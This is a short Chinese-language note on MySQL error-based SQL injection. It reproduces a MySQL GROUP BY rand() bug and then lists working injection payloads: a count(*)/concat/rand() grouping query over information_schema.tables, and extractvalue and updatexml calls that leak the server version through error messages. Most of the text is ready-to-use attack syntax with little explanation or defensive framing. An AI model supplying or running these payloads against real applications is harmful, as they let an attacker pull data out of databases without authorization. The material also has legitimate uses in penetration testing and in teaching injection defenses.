mysql暴错注入

mysql的一个bug http://bugs.mysql.com/bug.php?id=8652

 

重现过程

use mysql;

create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;

 

 select left(rand(),3),a, count(*) from r1 group by 1;

select round(rand(1),1)  ,a, count(*) from r1 group by 1;

 

 

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

 

mysql5.1以上支持xml操作 还可以这样玩

mysql> select user from mysql.user where user='root' and extractvalue(1, concat(0x5c, (select version())));

 

 

mysql> select user from mysql.user where user='root' and (updatexml(1,concat(0x5e24,(select version()),0x5e24),1));